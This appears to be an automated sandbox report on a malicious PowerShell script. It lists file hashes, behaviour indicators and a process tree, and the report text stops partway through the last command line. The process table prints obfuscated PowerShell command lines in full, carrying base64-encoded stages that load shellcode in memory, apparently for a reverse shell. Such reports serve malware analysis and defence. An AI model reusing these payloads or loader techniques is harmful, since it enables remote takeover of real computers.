analyze malware
- Huge database of samples and IOCs
- Custom VM setup
- Unlimited submissions
- Interactive approach
| File name: | 1e435c064cf7c3857d8d92b79acb8ddee43b0d0d3c95b39d1dfc56fe5fcfcb46.ps1 |
| Full analysis: | https://app.any.run/tasks/102a8ec0-5cf7-4235-981a-c42900114a7b |
| Verdict: | Malicious activity |
| Analysis date: | March 31, 2020, 06:07:23 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with very long lines, with CRLF line terminators |
| MD5: | 03EFBCF8B78D035AC5814DC44583D563 |
| SHA1: | D3D26D016FA33BA729A41D98AF11B412447F407F |
| SHA256: | 28C60057F2EEE0F075ED96AF69A0938CCFD164F8905DB6BEBE9208ED80DA3AAF |
| SSDEEP: | 192:Vzb5bzyhKUESu2QdMy7jotAJPgQcchzammPb:Vxzyh1E+QdMijnTcchzDmPb |
MALICIOUS
Starts Visual C# compiler
- powershell.exe (PID: 1840)
SUSPICIOUS
Application launched itself
- powershell.exe (PID: 304)
- powershell.exe (PID: 3504)
- powershell.exe (PID: 2360)
Creates files in the user directory
- powershell.exe (PID: 304)
- powershell.exe (PID: 3504)
- powershell.exe (PID: 1840)
- powershell.exe (PID: 2360)
PowerShell script executed
- powershell.exe (PID: 304)
Executes PowerShell scripts
- powershell.exe (PID: 304)
- powershell.exe (PID: 3504)
- powershell.exe (PID: 2360)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
41
Monitored processes
6
Malicious processes
1
Suspicious processes
2
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 304 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "-file" "C:\Users\admin\AppData\Local\Temp\1e435c064cf7c3857d8d92b79acb8ddee43b0d0d3c95b39d1dfc56fe5fcfcb46.ps1" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 3504 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /w 1 /C "s''v wm -;s''v hW e''c;s''v uCI ((g''v wm).value.toString()+(g''v hW).value.toString());powershell (g''v uCI).value.toString() ('JABPAEMAPQAnACQAWQBrAD0AJwAnAFsAaQByAGYAKAAoACIAbQBzAHYAYwByACIAKwAiAHQAIgArACIALgBkAGwAbAAiACkAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAUgBvAFIAKAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABhAG0AbwB1AG4AdAApADsAWwBpAHIAZgAoACIAawBlACIAKwAiAHIAIgArACIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIAB4AE8AdAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsAaQByAGYAKAAiAGsAZQAiACsAIgByACIAKwAiAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0ACgASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABOAGUAdwBQAHIAbwB0AGUAYwB0ACwAIABvAHUAdAAgAHUAaQBuAHQAIABCAFcAdwApADsAWwBpAHIAZgAoACIAbQBzAHYAYwByACIAKwAiAHQAIgArACIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAJwA7ACQAWQBrAD0AJABZAGsALgByAGUAcABsAGEAYwBlACgAIgB4AE8AdAAiACwAIAAiAEMAcgAiACsAIgBlACIAKwAiAGEAdABlAFQAaAByAGUAYQBkACIAKQA7ACQAWQBrAD0AJABZAGsALgByAGUAcABsAGEAYwBlACgAIgBSAG8AUgAiACwAIAAiAGMAYQBsAGwAbwBjACIAKQA7ACQAWQBrAD0AJABZAGsALgByAGUAcABsAGEAYwBlACgAIgBpAHIAZgAiACwAIAAiAEQAbABsAEkAbQBwAG8AIgArACIAcgAiACsAIgB0ACIAKQA7ACQAbgBGAD0AIgB9AGYAYwAsAH0AZQA4ACwAfQA4ADIALAB9ADAAMAAsAH0AMAAwACwAfQAwADAALAB9ADYAMAAsAH0AOAA5ACwAfQBlADUALAB9ADMAMQAsAH0AYwAwACwAfQA2ADQALAB9ADgAYgAsAH0ANQAwACwAfQAzADAALAB9ADgAYgAsAH0ANQAyACwAfQAwAGMALAB9ADgAYgAsAH0ANQAyACwAfQAxADQALAB9ADgAYgAsAH0ANwAyACwAfQAyADgALAB9ADAAZgAsAH0AYgA3ACwAfQA0AGEALAB9ADIANgAsAH0AMwAxACwAfQBmAGYALAB9AGEAYwAsAH0AMwBjACwAfQA2ADEALAB9ADcAYwAsAH0AMAAyACwAfQAyAGMALAB9ADIAMAAsAH0AYwAxACwAfQBjAGYALAB9ADAAZAAsAH0AMAAxACwAfQBjADcALAB9AGUAMgAsAH0AZgAyACwAfQA1ADIALAB9ADUANwAsAH0AOABiACwAfQA1ADIALAB9ADEAMAAsAH0AOABiACwAfQA0AGEALAB9ADMAYwAsAH0AOABiACwAfQA0AGMALAB9ADEAMQAsAH0ANwA4ACwAfQBlADMALAB9ADQAOAAsAH0AMAAxACwAfQBkADEALAB9ADUAMQAsAH0AOABiACwAfQA1ADkALAB9ADIAMAAsAH0AMAAxACwAfQBkADMALAB9ADgAYgAsAH0ANAA5ACwAfQAxADgALAB9AGUAMwAsAH0AMwBhACwAfQA0ADkALAB9ADgAYgAsAH0AMwA0ACwAfQA4AGIALAB9ADAAMQAsAH0AZAA2ACwAfQAzADEALAB9AGYAZgAsAH0AYQBjACwAfQBjADEALAB9AGMAZgAsAH0AMABkACwAfQAwADEALAB9AGMANwAsAH0AMwA4ACwAfQBlADAALAB9ADcANQAsAH0AZgA2ACwAfQAwADMALAB9ADcAZAAsAH0AZgA4ACwAfQAzAGIALAB9ADcAZAAsAH0AMgA0ACwAfQA3ADUALAB9AGUANAAsAH0ANQA4ACwAfQA4AGIALAB9ADUAOAAsAH0AMgA0ACwAfQAwADEALAB9AGQAMwAsAH0ANgA2ACwAfQA4AGIALAB9ADAAYwAsAH0ANABiACwAfQA4AGIALAB9ADUAOAAsAH0AMQBjACwAfQAwADEALAB9AGQAMwAsAH0AOABiACwAfQAwADQALAB9ADgAYgAsAH0AMAAxACwAfQBkADAALAB9ADgAOQAsAH0ANAA0ACwAfQAyADQALAB9ADIANAAsAH0ANQBiACwAfQA1AGIALAB9ADYAMQAsAH0ANQA5ACwAfQA1AGEALAB9ADUAMQAsAH0AZgBmACwAfQBlADAALAB9ADUAZgAsAH0ANQBmACwAfQA1AGEALAB9ADgAYgAsAH0AMQAyACwAfQBlAGIALAB9ADgAZAAsAH0ANQBkACwAfQA2ADgALAB9ADMAMwAsAH0AMwAyACwAfQAwADAALAB9ADAAMAAsAH0ANgA4ACwAfQA3ADcALAB9ADcAMwAsAH0AMwAyACwAfQA1AGYALAB9ADUANAAsAH0ANgA4ACwAfQA0AGMALAB9ADcANwAsAH0AMgA2ACwAfQAwADcALAB9ADgAOQAsAH0AZQA4ACwAfQBmAGYALAB9AGQAMAAsAH0AYgA4ACwAfQA5ADAALAB9ADAAMQAsAH0AMAAwACwAfQAwADAALAB9ADIAOQAsAH0AYwA0ACwAfQA1ADQALAB9ADUAMAAsAH0ANgA4ACwAfQAyADkALAB9ADgAMAAsAH0ANgBiACwAfQAwADAALAB9AGYAZgAsAH0AZAA1ACwAfQA2AGEALAB9ADAAYQAsAH0ANgA4ACwAfQBjADAALAB9AGEAOAAsAH0AMAAxACwAfQA5ADMALAB9ADYAOAAsAH0AMAAyACwAfQAwADAALAB9ADEAMQAsAH0ANQBjACwAfQA4ADkALAB9AGUANgAsAH0ANQAwACwAfQA1ADAALAB9ADUAMAAsAH0ANQAwACwAfQA0ADAALAB9ADUAMAAsAH0ANAAwACwAfQA1ADAALAB9ADYAOAAsAH0AZQBhACwAfQAwAGYALAB9AGQAZgAsAH0AZQAwACwAfQBmAGYALAB9AGQANQAsAH0AOQA3ACwAfQA2AGEALAB9ADEAMAAsAH0ANQA2ACwAfQA1ADcALAB9ADYAOAAsAH0AOQA5ACwAfQBhADUALAB9ADcANAAsAH0ANgAxACwAfQBmAGYALAB9AGQANQAsAH0AOAA1ACwAfQBjADAALAB9ADcANAAsAH0AMABjACwAfQBmAGYALAB9ADQAZQAsAH0AMAA4ACwAfQA3ADUALAB9AGUAYwAsAH0ANgA4ACwAfQBmADAALAB9AGIANQAsAH0AYQAyACwAfQA1ADYALAB9AGYAZgAsAH0AZAA1ACwAfQA2AGEALAB9ADAAMAAsAH0ANgBhACwAfQAwADQALAB9ADUANgAsAH0ANQA3ACwAfQA2ADgALAB9ADAAMgAsAH0AZAA5ACwAfQBjADgALAB9ADUAZgAsAH0AZgBmACwAfQBkADUALAB9ADgAYgAsAH0AMwA2ACwAfQA2AGEALAB9ADQAMAAsAH0ANgA4ACwAfQAwADAALAB9ADEAMAAsAH0AMAAwACwAfQAwADAALAB9ADUANgAsAH0ANgBhACwAfQAwADAALAB9ADYAOAAsAH0ANQA4ACwAfQBhADQALAB9ADUAMwAsAH0AZQA1ACwAfQBmAGYALAB9AGQANQAsAH0AOQAzACwAfQA1ADMALAB9ADYAYQAsAH0AMAAwACwAfQA1ADYALAB9ADUAMwAsAH0ANQA3ACwAfQA2ADgALAB9ADAAMgAsA'+'H0AZAA5ACwAfQBjADgALAB9ADUAZgAsAH0AZgBmACwAfQBkADUALAB9ADAAMQAsAH0AYwAzACwAfQAyADkALAB9AGMANgAsAH0ANwA1ACwAfQBlAGUALAB9AGMAMwAiADsAJABVAFMAPQBBAGQAZAAtAFQAeQBwAGUAIAAtAHAAYQBzAHMAIAAtAG0AIAAkAFkAawAgAC0ATgBhAG0AZQAgACIAVgBVACIAIAAtAG4AYQBtAGUAcwAgAE8AcQBSADsAJABVAFMAPQAkAFUAUwAuAHIAZQBwAGwAYQBjAGUAKAAiAE8AcQBSACIALAAgACIAVwBpACIAKwAiAG4AIgArACIAMwAyAEYAdQBuAGMAdABpAG8AbgBzACIAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAG4ARgAgAD0AIAAkAG4ARgAuAHIAZQBwAGwAYQBjAGUAKAAiAH0AIgAsACIAcwBtAFoAeAAiACkALgByAGUAcABsAGEAYwBlACgAIgBzAG0AWgAiACwAIAAiADAAIgApAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7ACQAQgBLAD0AMAB4ADEAMAAwADMAOwBpAGYAIAAoACQAbgBGAC4ATAAgAC0AZwB0ACAAMAB4ADEAMAAwADMAKQB7ACQAQgBLAD0AJABuAEYALgBMAH0AOwAkAG4AbwA9ACQAVQBTADoAOgBjAGEAbABsAG8AYwAoADAAeAAxADAAMAAzACwAIAAxACkAOwBbAFUASQBuAHQANgA0AF0AJABCAFcAdwAgAD0AIAAwADsAZgBvAHIAKAAkAGcATAA9ADAAOwAkAGcATAAgAC0AbABlACgAJABuAEYALgBMAGUAbgBnAHQAaAAtADEAKQA7ACQAZwBMACsAKwApAHsAJABVAFMAOgA6AG0AZQBtAHMAZQB0ACgAWwBJAG4AdABQAHQAcgBdACgAJABuAG8ALgBUAG8ASQBuAHQAMwAyACgAKQArACQAZwBMACkALAAgACQAbgBGAFsAJABnAEwAXQAsACAAMQApAH0AOwAkAFUAUwA6ADoAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0ACgAJABuAG8ALAAgADAAeAAxADAAMAAzACwAIAAwAHgANAAwACwAIABbAFIAZQBmAF0AJABCAFcAdwApADsAJABVAFMAOgA6AEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgAMAAsADAAeAAwADAALAAkAG4AbwAsADAALAAwACwAMAApADsAJwA7ACQAVwBVAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAQgB5AHQAZQBzACgAJABPAEMAKQApADsAJABqAFoAPQAiAHAAbwB3AGUAcgBzAGgAZQBsAGwAIgA7ACQAbQBXAD0AIgBXAGkAbgBkAG8AdwBzACIAOwAkAHgAawBKAHYAIAA9ACAAIgBDADoAXAAkAG0AVwBcAHMAeQBzAHcAbwB3ADYANABcACQAbQBXACQAagBaAFwAdgAxAC4AMABcACQAagBaACIAOwAkAHgAcQBNACAAPQAgACcAVAByACIAKwAiAHUAIgArACIAZQAnADsAaQBmACgAWwBlAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoASQBzADYANABCAGkAdABPAHAAZQByAGEAdABpAG4AZwBTAHkAcwB0AGUAbQAgAC0AZQBxACAAJwAkAHgAcQBNACcAKQB7ACQAagBaAD0AIAAkAHgAawBKAHYAfQA7ACQAVABCAD0AIgAgACQAagBaACAAQgBTAHMARAAgACQAVwBVACIAOwAkAFQAQgA9ACQAVABCAC4AcgBlAHAAbABhAGMAZQAoACIAQgBTAHMARAAiACwAIAAiAC0AbgBvAGUAeABpAHQAIAAtAGUAIgApADsAaQBlAHgAIAAkAFQAQgA=')" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | powershell.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 2360 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ec JABPAEMAPQAnACQAWQBrAD0AJwAnAFsAaQByAGYAKAAoACIAbQBzAHYAYwByACIAKwAiAHQAIgArACIALgBkAGwAbAAiACkAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAUgBvAFIAKAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABhAG0AbwB1AG4AdAApADsAWwBpAHIAZgAoACIAawBlACIAKwAiAHIAIgArACIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIAB4AE8AdAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsAaQByAGYAKAAiAGsAZQAiACsAIgByACIAKwAiAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0ACgASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABOAGUAdwBQAHIAbwB0AGUAYwB0ACwAIABvAHUAdAAgAHUAaQBuAHQAIABCAFcAdwApADsAWwBpAHIAZgAoACIAbQBzAHYAYwByACIAKwAiAHQAIgArACIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAJwA7ACQAWQBrAD0AJABZAGsALgByAGUAcABsAGEAYwBlACgAIgB4AE8AdAAiACwAIAAiAEMAcgAiACsAIgBlACIAKwAiAGEAdABlAFQAaAByAGUAYQBkACIAKQA7ACQAWQBrAD0AJABZAGsALgByAGUAcABsAGEAYwBlACgAIgBSAG8AUgAiACwAIAAiAGMAYQBsAGwAbwBjACIAKQA7ACQAWQBrAD0AJABZAGsALgByAGUAcABsAGEAYwBlACgAIgBpAHIAZgAiACwAIAAiAEQAbABsAEkAbQBwAG8AIgArACIAcgAiACsAIgB0ACIAKQA7ACQAbgBGAD0AIgB9AGYAYwAsAH0AZQA4ACwAfQA4ADIALAB9ADAAMAAsAH0AMAAwACwAfQAwADAALAB9ADYAMAAsAH0AOAA5ACwAfQBlADUALAB9ADMAMQAsAH0AYwAwACwAfQA2ADQALAB9ADgAYgAsAH0ANQAwACwAfQAzADAALAB9ADgAYgAsAH0ANQAyACwAfQAwAGMALAB9ADgAYgAsAH0ANQAyACwAfQAxADQALAB9ADgAYgAsAH0ANwAyACwAfQAyADgALAB9ADAAZgAsAH0AYgA3ACwAfQA0AGEALAB9ADIANgAsAH0AMwAxACwAfQBmAGYALAB9AGEAYwAsAH0AMwBjACwAfQA2ADEALAB9ADcAYwAsAH0AMAAyACwAfQAyAGMALAB9ADIAMAAsAH0AYwAxACwAfQBjAGYALAB9ADAAZAAsAH0AMAAxACwAfQBjADcALAB9AGUAMgAsAH0AZgAyACwAfQA1ADIALAB9ADUANwAsAH0AOABiACwAfQA1ADIALAB9ADEAMAAsAH0AOABiACwAfQA0AGEALAB9ADMAYwAsAH0AOABiACwAfQA0AGMALAB9ADEAMQAsAH0ANwA4ACwAfQBlADMALAB9ADQAOAAsAH0AMAAxACwAfQBkADEALAB9ADUAMQAsAH0AOABiACwAfQA1ADkALAB9ADIAMAAsAH0AMAAxACwAfQBkADMALAB9ADgAYgAsAH0ANAA5ACwAfQAxADgALAB9AGUAMwAsAH0AMwBhACwAfQA0ADkALAB9ADgAYgAsAH0AMwA0ACwAfQA4AGIALAB9ADAAMQAsAH0AZAA2ACwAfQAzADEALAB9AGYAZgAsAH0AYQBjACwAfQBjADEALAB9AGMAZgAsAH0AMABkACwAfQAwADEALAB9AGMANwAsAH0AMwA4ACwAfQBlADAALAB9ADcANQAsAH0AZgA2ACwAfQAwADMALAB9ADcAZAAsAH0AZgA4ACwAfQAzAGIALAB9ADcAZAAsAH0AMgA0ACwAfQA3ADUALAB9AGUANAAsAH0ANQA4ACwAfQA4AGIALAB9ADUAOAAsAH0AMgA0ACwAfQAwADEALAB9AGQAMwAsAH0ANgA2ACwAfQA4AGIALAB9ADAAYwAsAH0ANABiACwAfQA4AGIALAB9ADUAOAAsAH0AMQBjACwAfQAwADEALAB9AGQAMwAsAH0AOABiACwAfQAwADQALAB9ADgAYgAsAH0AMAAxACwAfQBkADAALAB9ADgAOQAsAH0ANAA0ACwAfQAyADQALAB9ADIANAAsAH0ANQBiACwAfQA1AGIALAB9ADYAMQAsAH0ANQA5ACwAfQA1AGEALAB9ADUAMQAsAH0AZgBmACwAfQBlADAALAB9ADUAZgAsAH0ANQBmACwAfQA1AGEALAB9ADgAYgAsAH0AMQAyACwAfQBlAGIALAB9ADgAZAAsAH0ANQBkACwAfQA2ADgALAB9ADMAMwAsAH0AMwAyACwAfQAwADAALAB9ADAAMAAsAH0ANgA4ACwAfQA3ADcALAB9ADcAMwAsAH0AMwAyACwAfQA1AGYALAB9ADUANAAsAH0ANgA4ACwAfQA0AGMALAB9ADcANwAsAH0AMgA2ACwAfQAwADcALAB9ADgAOQAsAH0AZQA4ACwAfQBmAGYALAB9AGQAMAAsAH0AYgA4ACwAfQA5ADAALAB9ADAAMQAsAH0AMAAwACwAfQAwADAALAB9ADIAOQAsAH0AYwA0ACwAfQA1ADQALAB9ADUAMAAsAH0ANgA4ACwAfQAyADkALAB9ADgAMAAsAH0ANgBiACwAfQAwADAALAB9AGYAZgAsAH0AZAA1ACwAfQA2AGEALAB9ADAAYQAsAH0ANgA4ACwAfQBjADAALAB9AGEAOAAsAH0AMAAxACwAfQA5ADMALAB9ADYAOAAsAH0AMAAyACwAfQAwADAALAB9ADEAMQAsAH0ANQBjACwAfQA4ADkALAB9AGUANgAsAH0ANQAwACwAfQA1ADAALAB9ADUAMAAsAH0ANQAwACwAfQA0ADAALAB9ADUAMAAsAH0ANAAwACwAfQA1ADAALAB9ADYAOAAsAH0AZQBhACwAfQAwAGYALAB9AGQAZgAsAH0AZQAwACwAfQBmAGYALAB9AGQANQAsAH0AOQA3ACwAfQA2AGEALAB9ADEAMAAsAH0ANQA2ACwAfQA1ADcALAB9ADYAOAAsAH0AOQA5ACwAfQBhADUALAB9ADcANAAsAH0ANgAxACwAfQBmAGYALAB9AGQANQAsAH0AOAA1ACwAfQBjADAALAB9ADcANAAsAH0AMABjACwAfQBmAGYALAB9ADQAZQAsAH0AMAA4ACwAfQA3ADUALAB9AGUAYwAsAH0ANgA4ACwAfQBmADAALAB9AGIANQAsAH0AYQAyACwAfQA1ADYALAB9AGYAZgAsAH0AZAA1ACwAfQA2AGEALAB9ADAAMAAsAH0ANgBhACwAfQAwADQALAB9ADUANgAsAH0ANQA3ACwAfQA2ADgALAB9ADAAMgAsAH0AZAA5ACwAfQBjADgALAB9ADUAZgAsAH0AZgBmACwAfQBkADUALAB9ADgAYgAsAH0AMwA2ACwAfQA2AGEALAB9ADQAMAAsAH0ANgA4ACwAfQAwADAALAB9ADEAMAAsAH0AMAAwACwAfQAwADAALAB9ADUANgAsAH0ANgBhACwAfQAwADAALAB9ADYAOAAsAH0ANQA4ACwAfQBhADQALAB9ADUAMwAsAH0AZQA1ACwAfQBmAGYALAB9AGQANQAsAH0AOQAzACwAfQA1ADMALAB9ADYAYQAsAH0AMAAwACwAfQA1ADYALAB9ADUAMwAsAH0ANQA3ACwAfQA2ADgALAB9ADAAMgAsAH0AZAA5ACwAfQBjADgALAB9ADUAZgAsAH0AZgBmACwAfQBkADUALAB9ADAAMQAsAH0AYwAzACwAfQAyADkALAB9AGMANgAsAH0ANwA1ACwAfQBlAGUALAB9AGMAMwAiADsAJABVAFMAPQBBAGQAZAAtAFQAeQBwAGUAIAAtAHAAYQBzAHMAIAAtAG0AIAAkAFkAawAgAC0ATgBhAG0AZQAgACIAVgBVACIAIAAtAG4AYQBtAGUAcwAgAE8AcQBSADsAJABVAFMAPQAkAFUAUwAuAHIAZQBwAGwAYQBjAGUAKAAiAE8AcQBSACIALAAgACIAVwBpACIAKwAiAG4AIgArACIAMwAyAEYAdQBuAGMAdABpAG8AbgBzACIAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAG4ARgAgAD0AIAAkAG4ARgAuAHIAZQBwAGwAYQBjAGUAKAAiAH0AIgAsACIAcwBtAFoAeAAiACkALgByAGUAcABsAGEAYwBlACgAIgBzAG0AWgAiACwAIAAiADAAIgApAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7ACQAQgBLAD0AMAB4ADEAMAAwADMAOwBpAGYAIAAoACQAbgBGAC4ATAAgAC0AZwB0ACAAMAB4ADEAMAAwADMAKQB7ACQAQgBLAD0AJABuAEYALgBMAH0AOwAkAG4AbwA9ACQAVQBTADoAOgBjAGEAbABsAG8AYwAoADAAeAAxADAAMAAzACwAIAAxACkAOwBbAFUASQBuAHQANgA0AF0AJABCAFcAdwAgAD0AIAAwADsAZgBvAHIAKAAkAGcATAA9ADAAOwAkAGcATAAgAC0AbABlACgAJABuAEYALgBMAGUAbgBnAHQAaAAtADEAKQA7ACQAZwBMACsAKwApAHsAJABVAFMAOgA6AG0AZQBtAHMAZQB0ACgAWwBJAG4AdABQAHQAcgBdACgAJABuAG8ALgBUAG8ASQBuAHQAMwAyACgAKQArACQAZwBMACkALAAgACQAbgBGAFsAJABnAEwAXQAsACAAMQApAH0AOwAkAFUAUwA6ADoAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0ACgAJABuAG8ALAAgADAAeAAxADAAMAAzACwAIAAwAHgANAAwACwAIABbAFIAZQBmAF0AJABCAFcAdwApADsAJABVAFMAOgA6AEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgAMAAsADAAeAAwADAALAAkAG4AbwAsADAALAAwACwAMAApADsAJwA7ACQAVwBVAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAQgB5AHQAZQBzACgAJABPAEMAKQApADsAJABqAFoAPQAiAHAAbwB3AGUAcgBzAGgAZQBsAGwAIgA7ACQAbQBXAD0AIgBXAGkAbgBkAG8AdwBzACIAOwAkAHgAawBKAHYAIAA9ACAAIgBDADoAXAAkAG0AVwBcAHMAeQBzAHcAbwB3ADYANABcACQAbQBXACQAagBaAFwAdgAxAC4AMABcACQAagBaACIAOwAkAHgAcQBNACAAPQAgACcAVAByACIAKwAiAHUAIgArACIAZQAnADsAaQBmACgAWwBlAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoASQBzADYANABCAGkAdABPAHAAZQByAGEAdABpAG4AZwBTAHkAcwB0AGUAbQAgAC0AZQBxACAAJwAkAHgAcQBNACcAKQB7ACQAagBaAD0AIAAkAHgAawBKAHYAfQA7ACQAVABCAD0AIgAgACQAagBaACAAQgBTAHMARAAgACQAVwBVACIAOwAkAFQAQgA9ACQAVABCAC4AcgBlAHAAbABhAGMAZQAoACIAQgBTAHMARAAiACwAIAAiAC0AbgBvAGUAeABpAHQAIAAtAGUAIgApADsAaQBlAHgAIAAkAFQAQgA= | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | powershell.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 1840 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -e JABZAGsAPQAnAFsAaQByAGYAKAAoACIAbQBzAHYAYwByACIAKwAiAHQAIgArACIALgBkAGwAbAAiACkAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAUgBvAFIAKAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABhAG0AbwB1AG4AdAApADsAWwBpAHIAZgAoACIAawBlACIAKwAiAHIAIgArACIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIAB4AE8AdAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsAaQByAGYAKAAiAGsAZQAiACsAIgByACIAKwAiAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0ACgASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABOAGUAdwBQAHIAbwB0AGUAYwB0ACwAIABvAHUAdAAgAHUAaQBuAHQAIABCAFcAdwApADsAWwBpAHIAZgAoACIAbQBzAHYAYwB